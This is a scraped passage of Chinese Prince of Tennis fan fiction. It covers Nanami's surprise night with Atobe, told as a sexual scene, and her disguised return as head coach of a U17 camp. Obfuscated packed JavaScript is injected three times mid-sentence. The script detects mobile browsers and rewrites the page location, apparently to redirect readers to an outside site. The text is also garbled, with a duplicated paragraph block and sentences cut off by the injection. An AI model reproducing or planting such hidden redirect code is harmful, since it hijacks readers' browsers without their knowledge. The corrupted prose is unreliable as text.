“小七,本大爷回来了,是不是想死我了,啊恩?”迹部景吾轻点了点眼下的泪痣,快步走到她的对面,俯下身抬起她的下巴先亲了一口。 “想。我们先吃饭。” 他倒也随意,“好。”只是坐下来之后,他注意到餐桌上摆放着的一盘盘英式菜肴,摆盘方式并不是自家厨师的风格,迹部景吾瞬间明白了。 “小七,今天的晚餐,是你做的?” “嗯,景吾,你尝尝味道怎么样。”七海托着腮,笑眯眯地望着餐桌对面同样被烛火映照的人。 迹部景吾挑眉,“本大爷的女人做的菜,味道自然不会差。”说罢便将一块约克夏布丁取至盘中,切下一块送进嘴里—— 七海没有错过他眼底一闪而过的诧异,脸上的笑容逐渐浮夸。“味道是不是很不错?本天才学起做菜,当然也是一流的速度!” “是很不错。”说罢,他再切下一块布丁,却皱起眉头。 “......你想谋杀你的男人?” 餐盘上,剩下的半块布丁中硬币的轮廓清晰可见,在烛光下反射着金属的光泽。 七海满头黑线。“迹部景吾,你说什么呢!这是我家乡的习俗,只不过我家乡是放到饺子里,这是好的寓意!你第一个布丁就吃到,就代表以后你会赚很多钱。” “我懂了,嫌本大爷赚的钱不够多,啊恩?”迹部轻笑一声,“说吧,又看上了哪里的地皮?” 这些年,七海除了网球,另一件热衷的事便是在世界各地置业。 大约是流淌在血液里的地主梦,又基于她对未来世界发展的知悉,买下的地皮房产价值连年上涨,外界便开始说她是好运体质,也不乏有挖墙脚的财团少爷出现,气得他牙痒痒。 她的反应却再次超出他的预料。 “景吾,今天我只想请你好好吃顿饭。”七海眼含温柔地盯着他,语气放缓。 “......” “咳,是这样吗,好,那本大爷再尝尝你做的其他菜。”迹部轻咳一声,撩了一下额角的发丝,试图掩饰那一丝尴尬,刀叉很快向餐桌上的其他菜伸去。 ...... 酒饱饭足,听到身前的人说还有惊喜留给他,让他半小时后来藏书室找她,迹部景吾的目光再度幽深了几分,目送着她先行离去的轻快背影,他无法抑制地期待起来。 只是,待半小时后他推开书房沉重的双开大门,映入眼帘的一切还是令迹部景吾震惊地呆立于门口,久久不语—— 圆拱形藏书室中央,一个约有三米高的巨大黑色鸟笼置于地面,蜿蜒的铁艺栏杆上缠绕着无数朵无刺玫瑰,深深浅浅的红于昏暗中绽放着,散发出淡淡的玫瑰香气。 穹顶的彩色玻璃窗投射下七彩斑斓的光影,落在鸟笼内的深红色软垫和坐在软垫上的她裸露的肌肤上。 笼中少女穿着一身黑色半透的抹胸短裙,绣在蕾丝上的金丝在月光下反射出点点金光。缎面的黑色丝带在她的腿、腰以及胸前的柔软上交缠,掐出姣好的形状。 如瀑的黑发被烫得微卷,柔顺地垂在肩侧,她随意地用手指勾起一缕发丝把玩着,冷白的月光在她纤长修直的手指上流转,宛如一条游动的银蛇,散发出十足的魅惑感。 她的双瞳被黑色的丝带覆住,迹部景吾只能看到她的红唇微微扬起,反射着诱人的光泽。 七海眼前一片漆黑,捕捉到开门声后,耳边便没了动静。迹部景吾,他该不会看傻了吧?她可是为了这个场景构思了好久,每个动作都有精心设计过呢! 迹部景吾确实看傻了。 她平时并不是会在这件事上下功夫的人,大多数时候是她配合他,可是现在眼前她展现出的一切......他只觉浑身的血液瞬间上涌,喉结狠狠上下滚动了一番。 鼻下突然感到一阵温热,他下意识轻抚过,再放到眼前看——是一点血迹。 迹部景吾无奈地想点眉心,意识到手上还沾着血,僵硬了一瞬,赶忙走到书桌前抽了张纸将手上和脸上的血迹擦拭干净。 鸟笼中,长久的安静之后细碎的动静反而让七海忐忑起来,她试探地小声开口:“景吾?”他怎么不说话啊! 视觉的丧失换来的是其他知觉的敏锐。 她听到离她越来越近的脚步声,心跳也随之越来越快,接着是鸟笼的门被打开的吱呀声,大约是鞋子落地的啪嗒声,门被关上,属于他的气息一寸寸迫近,直到,近在咫尺。 “景吾,你怎么不说话?”她对着眼前的黑暗问道。 “小七......”迹部景吾盯着眼前的人,半晌,只艰难地吐出了她的名字。 “你不喜欢吗?” “我很喜欢。”一切都是他喜欢的事物。他爱吃的英国家常菜,他爱的红玫瑰,他爱的黑色与金色,以及他爱的——她。 迹部景吾狠狠吸了口气,“小七......你真是让本大爷不知道该说什么好了。”太过震撼,他的意识还没缓过来,身体倒是已做好了准备。 七海自得地扬起嘴角,“你给我准备了这么多惊喜,我也不过给你准备一次嘛,你喜欢就好。” “我很喜欢,小七。” 他再不迟疑,掐住她的腰便俯身发狠似的吻了下去。 “唔!......”他一来便吻得如此深入,掠夺得太快太粗暴,她很快便被吻得头脑昏昏涨涨。 七海伸出发软的手轻锤了一下他的胸口,本想靠这个动作提醒他慢一点,却没想到他干脆地擒住她的两只手,高举起来直接按到了笼子的围栏上。 随着那用力一按发出的震动,鸟笼顶端的玫瑰被震落了几瓣,深红的花瓣伴随着她细弱的呜咽声在空气中交缠缭绕,最终落在她乌黑的发丝和胸口上,越发引得人悸动不已。 墙边的落地钟沉默,分钟缓缓走过几格,迹部景吾这才松开唇,讳莫如深的目光紧锁着靠着围栏不住地喘着气的少女,她的胸口剧烈起伏着,带动着胸上的深红花瓣也跟着上下伏动。 “景吾......”七海费力地开口,再准备说些什么,他却没给她这个机会,欺身而下,炽热的手轻抚过她被丝带缠绕的脚踝,小腿,一路向上,撩动于花瓣之间。 玫瑰花瓣细细漱漱地落下,笼中两道身体交缠,动情的声音环绕在穹顶之下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741336|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带动旖旎的分子于花叶花蕊间穿行,她不住地呻吟着,前所未有的热烈电流顺着脊背一次次向下流窜。 花瓣被水珠打湿,鸟笼随着节奏一下下轻晃着,他的呼吸粗重,只想将身下的人彻底占有,吞吃得一干二净。 他们彻底交融于玫瑰花雨中。 “景吾,慢,慢一点......”她无助地哭喊着。他的攻势完全超出了她的预期,残存的清醒间歇,她的脑中只余一句话——他确实很喜欢她准备的一切。 迹部稍稍放缓了速度,喘着气道:“本大爷现在慢不下来。”,紧接着,再次如疾风骤雨般向她进发。 这一夜,她的意识不断地明灭交错。 -------------------------- 天色初晓,黎明的曦光透过彩窗照射进来,在他们的肌肤上铺陈开一块块梦幻的七彩光影,光线中的微尘浮动着,温柔地笼罩着笼中的两道身躯。 笼中一片狼藉,红似火焰的玫瑰花瓣满地凌乱纷落,空气中残留着醉人的花香,一场斑斓瑰丽的梦境终了。 七海缓缓睁开眼,呆了好一会儿才慢慢从遍地的玫瑰残骸中坐起,全身上下哪哪都叫嚣着酸痛。只是,怎么后背也火辣辣地疼? 在所剩无几的记忆中巡游片刻,她这才回想起来,是她被他面对面抱着贴在笼子的栏杆上蹭的......后来他大概还抱着她去清洗过了,为她换了睡裙,只不过那时的她早已意识离魂。 “景——”她还没说出后一个字就被自己沙哑的嗓子吓了一跳。 迹部景吾倒是被她的这一声给立刻叫醒了,坐起来望向身侧的人,“小七,还好吗。” 七海垂头默默然盯着自己手腕上箍出来的两圈红痕,百感交集着,半晌,闭了闭眼无语道: “景吾,以后我再也不给你准备惊喜了。”她再也不敢了。 罪魁祸首本人倒是完全没有什么反省的自觉,挑了挑眉。“是你主动招惹的我,啊恩?” “这样的惊喜,本大爷很喜欢,以后每周准备一次也不错。” 七海终于没忍住,抓起软垫上的玫瑰残瓣就往身旁的人脸上丢去,“迹部景吾你臭不要脸!” “我要是要脸,还有机会和你在一起吗,啊恩?”他笑得张扬,满脸自得之色,任由她报复性地往他身上扔花瓣。 七海瞎扔一气,忽地大脑一个激灵,想起了一件十分重要的事,目光在软垫上和笼子周围扫视了几圈,却没找到一样应该出现的东西...... 完蛋! 完蛋完蛋完蛋......这个年纪正是质量巅峰,又来了好几次,想不中也难吧...... 迹部正奇怪于她突然停下手上的动作,就见她神色难辨地盯着他,发出一声冷笑: “迹部景吾,我看你是想当爹了。” 七海瞎扔一气,忽地大脑一个激灵,想起了一件十分重要的事,目光在软垫上和笼子周围扫视了几圈,却没找到一样应该出现的东西...... 完蛋! 完蛋完蛋完蛋......这个年纪正是质量巅峰,又来了好几次,想不中也难吧...... 迹部正奇怪于她突然停下手上的动作,就见她神色难辨地盯着他,发出一声冷笑: “迹部景吾,我看你是想当爹了。” 寂静。 一片寂静。 “......景吾?” 七海无奈扶额,他似乎是意识到原因,君临天下了。 复又几分钟后—— “小七,我们今天就去看医生。”他着急忙慌地站起来,一时间手足无措。 “你笨蛋啊!就算真的......现在能看出什么!”七海仰头怒视。 迹部再次蹲下身,将她拢进怀中。“我是笨蛋,对不起,真的对不起。”他这副愧疚得不行的模样,倒是让她也不好意思起来。 她叹了口气:“是我自己也忘了这件事,不能全怪你。” “如果真的......小七,我尊重你的选择,你只需要考虑自己。”松开怀抱,四目相对,帝王难得露出堪称忐忑不安的表情,他们本没打算那么早考虑孕育生命的事。 七海垂眸不语,许久才抬起头望向他,柔声道: “那就留下来吧。景吾,你会是个好爸爸的,对吗?” 她的回答完全出乎他的意料,怔愣数秒后,他轻点眉心傲然道—— “啊恩,本大爷当然会是。” ...... 一个月后。 “景吾,我警告你不许在这么重要的时候君临天下。” “小七,我没有,你别生气,我扶你坐下。” “我不是废物,我自己可以坐下。” “这张椅子坐着会不会不舒服?萨基尔,让山下立刻去采购——不行,不够,本大爷看过的,书里说......” 七海满脸黑线地望着身前表现多少有些不正常的迹部景吾。 他是没有君临天下,但他好像走向了另一条她未曾设想过的道路。 177.第 177 章 七海从梦中醒来,窗外一片漆黑。 坐在床上发了好一会儿呆,她才确信了一个事实——她可能有比较大的道德瑕疵。 否则她怎么会做梦梦见她和那三个人都谈恋爱还结婚了?!这三个连续不断的梦还真实得要命......实在是梦中的一些细节过分清晰,醒来再回想,简直令她毛骨悚然。 “重婚犯法啊,二阶堂七海,你好恐怖......”七海抽搐着嘴角,自言自语着,这下怕是再也睡不着了。 距离从那片混沌之地回来已经过去了三天,除了教练组的四个人,第一梯队四国的教练领队以及家人,她还尚未和任何人言明自己回来的事。 “该不会像梦里那样,我选择先和谁说明,就会和谁在一起吧......”她嘟囔着掀开被子站起身,窗边昏黄的灯光下,街道上空无一人。 二阶堂悠人和二阶堂美穗又去海外出差了,此刻家中只剩她一人。想了想,她干脆换了身衣服,推开门走出家。 深夜的江之岛,海风将海浪拍岸的沙沙声送至耳畔,七海站在海边,默默凝望着远处灰白的海浪。 那三个梦里,她和每个人都有一个圆满的结局。 那么同样的,那三个梦,每个梦里都有另外两个人受伤。倘若,倘若这些梦曾真实存在于另一个她所不知道的世界...... 其实只要她现在主动联系那三个人就会知道了,毕竟那三个梦解开了三个秘密——他的日记,他的协议,他的签文。 假如,一切都和梦里她所看见的一样,她似乎无法做到接受某一个人,然后让另两个人忍受心痛。 假如梦境是真,那么真相是——她无法和这三个人中的任何一个人在一起。 一阵海风吹过,鼻腔被海水咸湿的气息刺激着,七海紧了紧风衣,身躯轻轻哆嗦了一下。 她想她是爱他们的,这毋庸置疑。她为他的坚韧温柔所着迷,与他的孤独痛苦感同身受,被他的温暖光芒救赎疗愈,于她而言,这三个人无论谁都很重要。 他们一次次救她于水火中,教会她为自己而活的道理,把破碎的她拼凑完整。 所以,接下来的人生,她该向前走了,走向彻底属于自己的未知。 或许有一天,她会遇见能够在一起的人,或许在他们之中,也或许不在,也或许她无法为任何人停留。 但至少,眼下,比起爱情她有更重要的事要去做。 【上帝用各种途径使人变得孤独,好让我们可以走向自己。】 “谢谢。”七海望着漆黑一片的大海轻声呢喃,随后,毫不犹豫地折返回家。 ------------------------- 翌日。 东京清吧U17包厢内。 “U17国际合宿入营?!”七海双唇微张,盯着手上的合宿方案,手颤动不止。 三船入道随意点了点头,“嗯。七海,你看看方案,有什么问题随时说。” “不是,你们四个是准备退休了吗?!”七海看向教练组名单,瞪大了眼。 方案第一页,白纸黑字明明白白写着—— 总教练:二阶堂七海 战略教练:种岛修二 精神教练:入江奏多 体能教练:平等院凤凰 “啊呀,是时候让你们年轻人也经受一些锻炼了。”斋藤至温和地笑着,挠了挠头。 “小七海,听说你打算让种岛君加入你和迹部君办的俱乐部,那么,让种岛君当战略教练似乎很合适。”黑部由起夫放下手中的红茶,漫不经心道。 七海默不作声,其实他们选的这几个人选......确实意外地很合适。不过说起来,这次怎么没有了败者组教练? “这次怎么没有败者组了?” “既然都是同一批人,那么之前的精神锤炼方案已经不能再反复使用了呢。小七海,你可以和入江君一起想一些更加有趣的精神锤炼方法。” “说的倒也是。”既然他们已经知道败者组不会灰溜溜赶回家,那么再设计同室操戈或是内外场训练就失去意义了。 七海抬头提起了另一件事,“说起来,国际合宿,是要邀请其他国家队的选手也参加吗?” “今年的U17世界杯在日本举行,所以合宿地也定在日本。参加的国家队有德国和美国,派了几个会日语的熟人过来呢。瑞士队和法国队还有西班牙队另有安排这次并不参与。” 七海翻过一页方案,确实,上面也附上了除日本其他国家参加合宿的名单—— 德国队:手冢国光。 美国队:越前龙马,越前龙雅。 她再次扶额,这下岂不是所有人都凑齐了。还有越前龙雅,他怎么又回到美国队了,这个人真是随心所欲啊...... “好吧,我知道了,那么合宿时间是怎么回事?”方案右上角赫然写着合宿时间是4月1日开始,那岂不是还有半个月就要开始合宿了?!一般不都是11月—— 黑部:“考虑到他们各自还有训练计划,日本六月还有全国大赛,所以这次的国际合宿放到四月进行。” 七海抽搐着嘴角,不祥的预感翻涌而上,她颤颤巍巍地开口试探:“所以,接下来半个月,我和这几个人要把合宿方案做出来,是这样吗?” “是的哟,这次合宿我们四个就旁观你们安排训练了,加油!” “斋藤教练,我警告你幸灾乐祸的表情别做得太明显!” “还有,工资开多少?我跟你们说,我要求涨工资!”要让驴拉磨,也要给驴吃草吧! “你的工资是......” “好的,谢谢四位老大!这活我接了。”七海瞬间变得一脸谄媚。 她还打算攒够钱在日本和欧洲四处置业呢。巴黎的莱茵河畔,德国的慕尼黑小镇,瑞士的雪山脚下,西班牙的巴塞罗那海边...... 先定下个小目标——她要把房子买遍全世界!等退休以后去世界各地旅游,看没看过的风景,学习她感兴趣的东西。 于是,第二天—— “二阶堂?!” 七海一推开合宿营地会议室大门,毫不意外地看到了一些震惊的面孔,意外的是,这些震惊的面孔比她想象的要多几张—— 除了入江奏多,平等院凤凰,种岛修二,不知为何其他原高中生人马前十名也在这里。 “君岛,鬼,远野,你们怎么也在这里?” 毛利寿三郎和德川和也本就未满17岁要参加合宿,这时出现倒是不奇怪,越知月光是毛利的双打搭档,出现在这里也正常。 大曲和Duke和平等院处于绑定状态,这三个人同时出现也不奇怪,那么剩下三个人是什么情况? 君岛育斗扶了扶眼镜,浅笑着:“听平等院说要举办国际合宿,我们正好也闲着没事,所以就一起来看看。” 鬼:“三船教练说要选拔新Genius10,到时我们会出现在1到10号球场。” “小七海,你什么时候回来的?你去了哪里?你不知道你走之后......”毛利寿三郎等鬼十次郎一说完话,便忙不迭地走到她面前,面色复杂。 “我走之后,我的名字在立海大网球部就成了禁词,是这样吗?”七海仰头,轻声问道。 “小七海,你,你是怎么知道的?”毛利寿三郎面露惊骇之色。 毛利说出这句话的下一瞬,七海僵在了原地。果然,那三个梦...... “我是怎么知道的不重要,现在大家都在也好,我们正好一起商议一下合宿方案。” 努力平复下心绪,七海随意地跳过了这个话题,环视了一圈会议室里的少年们。 “二阶堂,你回来的事没有和那三个人说?”金发少年挑了挑眉。 平等院凤凰听教练组说来了一位新的总教练,心里本十分不爽,却没想到是她。如果那三个人知道她回来了,她绝对不会独自一人站在这里,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741337|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十分肯定。 “嗯,我回来的事还没有和初中生......不,那些高中生们说。也麻烦你们先保密。” 种岛修二不解:“二阶堂,为什么要保密?” 她的嘴角浮起一个神秘的笑:“本小姐回来这种惊天好消息,当然要给他们一个惊喜啦,我会以另一个身份出现,到时候先别告诉他们哦。” 有入江奏多、种岛修二和君岛育斗这三个高智商智囊团在,精神锤炼的训练方案安排得那叫一个高效,入江奏多还非常主动地承接下一部分课堂教学任务,说是要锤炼那群少年的演技。 至于体能训练方案,平等院凤凰设计的体能训练方案大约除了他,再没有其他人能受得了这样的强度,在七海的黑脸勒令下,总算调整到更适合那群高中生的水平。 是夜。 她和他在合宿营地的高台围栏边吹风。 “二阶堂,既然回来了,那天的问题,你的答案呢,嗯?”平等院凤凰挑了挑眉,视线移向身侧沉默不语的少女。 七海沉默着,心里却在疯狂吐槽。 【平等院凤凰你这个可怕的男人,在那三个梦里,居然有两个梦你都打算强取豪夺,虽然最后都没成功吧......】她现在绝无可能答应他,但是不答应他,万一他要用强的,得想个办法。 很快,她灵光一动。 “平等院,我决定给你一个追求本小姐的机会。”七海仰头望着平等院凤凰,双手叉腰,语气十分嚣张。 “但是前提是,你要把头发剪短,每天好好剃胡子,不然你看着也太老成了,和你站在一起我会被怀疑是傍大款!” 平等院凤凰嗤笑一声,“可以。” 七海呆住了。他就这么同意了?她本来以为第一道关卡就能劝退他...... “还有,未经我允许不许吻我。”她的嘴巴是她的私有财产! 平等院的目光在她淡粉的唇瓣上流连了片刻,再次发出一声意味不明的轻笑。“可以。” 这也可以?他不强制爱了?七海丝毫没有意识到,她眼底的惊诧,脸上的那点小心思完全没能瞒过对面的人。 “说完了?” 七海思索片刻,确信自己确实想不出别的限制条件,这才再次应声:“说完了。” “那走吧。”少年干脆地俯下身将她单手抱起,顺着台阶向宿舍方向走去。 “啊!平等院你干嘛,你放我下来!”七海在身体腾空的一瞬彻底惊呆,身形一个不稳,慌乱中下意识伸手揽住了他的脖颈。 不是,这个人的肌肉力量到底有多强啊,居然能单手抱起她,她可不是娇小的体型。 如果她和他在一起...... 平等院凤凰本打算好了听她没完没了的絮叨以及挣扎,注意到坐在胳膊上的人突然没了声响,抬头望去,发现她突然红了脸,这才隐约意识到她想到了什么方面,勾了勾嘴角。 “二阶堂,这么快就想到我们做那件事了?” “你胡说八道!” “我还没说什么事,你就知道了?” “啊啊啊啊啊,总之你快放我下来!!我要再追加一条,不许不经我允许抱我!” “呵,迟了,蠢货。” “我现在精神力使用没有限制了,你再不放我下来,我就要对你用神降了!” “二阶堂,你忘了你的神降对我没用,嗯?” 七海这才回想起来,似乎大概也许,他和梅达诺雷是这个世界上唯二两个不会受她精神力影响的人...... 再回想起一些和梅达诺雷的相处片段——请问你们精神力超强的人是都喜欢强制吗? 以及,她现在很想把抱着自己的这个人发射到南非去= = “国光,精市,景吾,救我——”她扯着嗓子胡乱喊着。 “那三个小鬼,老子还不放在眼里。” 春日的夜风吹拂过北半球的每个角落,万物复苏之季,一切,都是新的开始。 178.第 178 章 为着U17国际合宿入营的准备,教练组四位冤大头每天都忙碌着,就这样,终于即将迎来入营日。 七海找到了一个人。 推开咖啡厅的门,视线移向坐在角落的熟悉面孔,仁王雅治呆愣在原地,弓着的身子不自觉挺直了。七海见他难得露出如此呆滞的模样,噗嗤一笑。 “仁王,你别是吓傻了吧?” “二阶堂,你什么时候回来的?”他接到电话的第一反应是柳生捉弄他,要不是她说出了他们的一些相处细节,他大概也无法相信居然真的是她。 “半个月前。这个不是重点,仁王,我想麻烦你帮个忙!”七海神神秘秘地将呆站在原地的仁王拉到咖啡厅的角落,凑到他耳边就是一阵叽咕。 “二阶堂,你确定要这么做?万一被发现了,你可要想好后果,噗哩。” “我确定,总之,这件事就麻烦你了。” 仁王雅治轻耸了耸肩,“二阶堂,欺诈师这个头衔果然还是给你吧。” ------------------------- 三天后。 黑暗的监控室内,七海并入江奏多、平等院凤凰以及种岛修二盯着画面上逐渐聚集在一起的高中生们,随意闲聊着。 “二阶堂教练,你打扮成别人是想干什么?”入江奏多斜睨了一眼身侧的人无奈道。 七海经过几日苦学后,成功从仁王雅治处偷师。此刻,她化妆成了一位黑发大波浪,瞳色碧绿的女子,又在脖子上偷偷戴上了仁王借给她的变声器。 除了身高她无法强行缩短,至少从外貌和声线上看和真正的她截然不同,气质要成熟妩媚得多。 “不觉得很有趣吗?你们要记住,我现在姓水城,要叫我水城教练,嗯?”撩了撩长卷发,七海臭屁道。 “嗨嗨,水城教练。”入江和种岛非常自然地接受了这个设定,只有平等院凤凰一脸似笑非笑的表情,像是看穿了她的心思。 “嗯,说起来,平等院,你现在的造型果然年轻了好多嘛。” 站在桌边的平等院凤凰剃了胡子又剪短了头发,利落的一头金发下黑眸狭长锐利,居然也能称得上帅哥一枚了。 “那么,正式亮相吧!”七海抄起桌上的话筒,趾高气扬地推开大门向围栏边走去,屋内三人对视一眼,也跟了上去。 只是,当她真的站到围栏边,看着台下这一群熟悉的人影,捕捉到这群人中那三个人时,大脑还是陷入了一片空白。 他一身德国队的黑红制服,和塞弗里德一前一后地排成一列,金边眼镜下的神情冷肃; 他面色平静,立海大的土黄色外套披在他的肩上,轻晃着; 最后那个人也仍旧是那副傲慢自得的神色,身上穿着的是自己的私服。据说,他是为了合宿特地从英国赶回来的。 最先开口的是切原赤也,他很显然被平等院凤凰的新造型震惊到了,绿瞳瞪得浑圆。 “哇,平等院桑怎么大变样!” “不如说十九岁的人长这样才比较合理吧,piyo。” “旁边的那个人就是新来的女教练吧?” “不认识的女生诶!之前听说有女教练,我还以为是二阶堂回来了呢。”菊丸英二瘪着嘴闷闷不乐的。 此话一出,远山金太郎,切原赤也,向日岳人等几个情绪外露的少年也都陷入低落中。 大石秀一郎本来也有点伤感,一想到这么做可能会让台上的女子难堪,又连忙给菊丸使眼色。 七海突然萌生出了强烈的悔意。 她本想以外人的身份先规劝那三个人放弃她,待他们改变了心意再以真面目示人,可现在......她把一切想得太简单了。 她转身,正准备回到楼内去除伪装,平等院凤凰却于此时站到她身边,用力地按住了她的肩膀,垂头平静道:“怎么,后悔了?” “嗯,我后悔了。” “二阶堂,你当玩游戏?既然扮演了其他人,就给老子好好演下去。” 平等院夺过她手中的喇叭,从鼻子里发出一声轻哼,扫了眼台下的少年们沉声道:“小子们,这个女人叫水城,是老子的女人,也是这次合宿的总教练。” “老大谈恋爱了?!”果不其然,这个消息很好地冲淡了少年们的愁绪。 七海咬牙切齿地试图将喇叭夺回,却根本拽不动,只能扯着嗓子对着台下的少年们大喊: “我不是,他瞎说的,大家别误会!” 台下的骚乱于几分钟后总算暂且平息,七海清了清嗓子,这才开始介绍起这次合宿的教练们。 得知教练变成了这三个“前高中生”,少年们又是一通议论。 “总之,本次合宿的目标除了锤炼大家的五维能力外,最终将选拔出新Genius10参加明年一月的U17世界杯,夺得第一名的人还会有额外的奖励哦。” “水城教练,请问是什么奖励?”白石藏之介好奇道。 “那就是可以和我组队,去参加U17世界杯前的霍普曼杯赛。”七海甩了甩头,卷发随着动作轻舞着,说不出的妩媚动人。 “霍普曼杯是什么啊?” 乾贞治尽职尽责地担任起解说角色,扶了扶眼镜道:“霍普曼杯是由国际网球联合会举办的职业网球赛事,男女二人为一组,分别进行男单女单和男女混双三项比赛,最终获胜组可获得高达50万美元的奖金。” 切原赤也挠头:“可是,我们这里有很多人都不是职业选手吧,也能参加吗?” “所以,如果成为了新Genius10的No.1,假如你还不是职业选手,我们也会直接邀请你加入日本职业网球协会,可以正式签订职业合约哦。”至于七海本人,她早就在几天前在三船的帮助下偷偷转正了。 “诶?!” “还有一个途径。假如有哪位少年能打败我,那么也可以直接成为职业选手。” “诶——??!!” 又是一阵喧闹后,众人总算平静下来。 七海浅笑着总结道:“嘛,各位远道而来都辛苦了,尤其是从欧洲和美国过来的几位同学,马上到午饭时间了,现在就跟着我们教练组一起去餐厅吃饭吧。” “下午的时间自由活动,日本队的选手们请换上日本队制服。明天起我们将根据大家过往的表现进行一些试炼活动。” 说罢,教练组四人便一同从围栏上翻身跃下,身后乌泱泱的一群高中生们紧随其后。 选手餐厅去年重新翻修过,现在菜品又丰富了不少,增加了许多异国料理,依然是自助餐的形式。七海随意取了个餐盘,在取餐区流连着,夹了一块烤三文鱼排放进盘中。 “水城教练,喜欢吃鱼吗?”幸村精市凑到边上微笑着搭话。 “嗯。”她怎么有种她很快就会暴露的预感,下次要记得把个人习惯改得彻底点才行。 “二阶堂教练,您认识她吗?” “有所耳闻吧。怎么了,幸村君?”七海挑眉,顺便抛了个媚眼过去。 少年平静道:“只是觉得您和她有些相似的地方。”他差点以为她是她,他几乎要确定是她,可这一眼,他又迟疑了。 七海心中酸涩着,嘴上却维持着调侃的语气:“幸村君,天涯何处无芳草呐。你在学校应该很受欢迎吧,换个人喜欢不好吗?听说那个二阶堂教练不知道去了哪,何必苦等呢。” “水城教练,您逾距了。” 蓝紫色眼眸中的光芒一点点黯淡下来,转为一缕锐利的寒气,幸村精市的嘴角紧抿着,正准备转身离去,七海又补了一击。 “幸村君,如果那个人五年十年都不回来,难道你还要等吗?人还是活在当下比较好。” “我等。水城教练,对于自己不了解的事,还是保持沉默比较好呢。”他微微一笑,眉宇间却透出十足的冷淡与疏离。 “......”精市...... 万幸,他已彻底转过身,看不到她眼底的不忍与心痛。 可惜,他已彻底转过身,错过了她眼底的不忍与心痛。 随意取了点吃的,教练组四人围着一张桌子坐下。入江奏多笑眯了眼,七海一看这张笑脸便知他嘴里说不出什么好话,果然—— “水城教练,你的演技还需加强呢。” “入江,注意你说话的方式,本小姐现在是货真价实的总教练,你该学习一下怎么拍上司马屁。”七海斜眼故作威胁道,很快,她又无奈地垂头叹了口气。 “感觉走进死胡同了......或许我不该选择回来。三个人可以同时喜欢上一个人,可是一个人却不能同时喜欢三个人。啊,好烦。” “老子不算人?” “平等院,你不一样。” “水城教练,他们做出什么样的选择,那是他们的事不是吗?你只需要做好你自己的事。”种岛修二操着关西腔随意道。 “种岛......”七海抬头,愣愣地看着坐在对面笑意温和的黑皮白发少年。 “谢谢,道理我都懂啦。” 这次合宿结束之后,她会回到青学带领女网部取得全国大赛优胜,接着便是以教练身份带领日本队参加明年一月的U17世界杯并取胜。 在那之后,她也将正式走上职业道路,打败全世界的对手,无论男女,一如梦中的轨迹那般,成为烛火与灯塔。发展建设NA俱乐部,把大和部长和木下葵都招揽进来。 她的职业生涯规划十分清晰,在这条路上,那三个人是配角,不是她生活的重心,这点她确信无疑。 只是...... “现在这样瞒着他们,我的罪恶感好深重啊,快要把我压死了。”七海哀叹道。 “哇,部长,这个菜好好吃!!”耳畔边突然传来了桃城武的呼喝声,七海微微侧身,视线悄悄移向坐在窗边的手冢国光、桃城武、海堂薰和不二周助三人。 茶发少年的眼中流露出了一些不同的情愫,像是怀念以及其他东西,柔和了原本冷峻的眉眼。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744690|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不二,这一年多,大家都还好吗?” “嗯,大家都顺利地升入高等部了。只是,手冢,你不在果然还是缺了点什么呢。” “虽然说只要大家都在打网球,就是一心一体这句话的人是我,呵呵。”不二周助眉眼弯弯,捂嘴轻笑了两声。 “没想到大家真的再次重逢了呢,像七海说的那样。” “啊。”手冢国光点了点头,不再多言。 不二周助又似是意有所指地提了一句:“手冢,不觉得新来的水城教练和七海很像吗?虽然外表完全不一样。” “......”他停下了夹菜的动作,平视对方。“不二,你想说什么。” “你也不是毫无察觉不是吗?手冢,有些事自己去确认吧。” 啊不是,这样她还有什么掩饰的必要啊!周助,你到底是什么时候看出来的啊!七海将那一桌的对话一字不落地收入耳中,抽搐着嘴角掏出手机开始偷摸编辑短讯。 【12:03 to不二周助:周助......你是什么时候发现的?】 【12:04 不二周助:七海,果然是你呐^^ 外表或许可以改变,可是你的小习惯隐藏得并不算好哦。】 【12:06 to不二周助:周助,对不起!!】 【12:07 不二周助:我确实有些生气呢^^,七海,你回来了居然不告诉我。我难道不是你的朋友吗?】 【12:08 to不二周助:周助,你当然是了!我也才刚回来没多久,一开始是想先劝他们放弃,再变回原本的模样......现在看来我的演技并不足以支撑我的计划T-T】 【12:10 不二周助:七海,你听过一句话吗?我喜欢你是我的自由,与你无关。总想干涉他们的想法的你,其实有点自私呐。欺骗他们,就更是你的不对了。】 “周助......”她盯着屏幕,默然不语。 或许,他说的是对的。七海定了定心神,做出了一个决定。 ------------------------- 是夜,天台。 “啊嗯?手冢,幸村,你们两个怎么也在这里。” 迹部景吾一走上天台,便发现这两人已经站在了围栏边,他的眉头瞬间皱起,向那两人走去。 “迹部,是入江教练让我们来这里,看来你也一样。”幸村精市确认道。 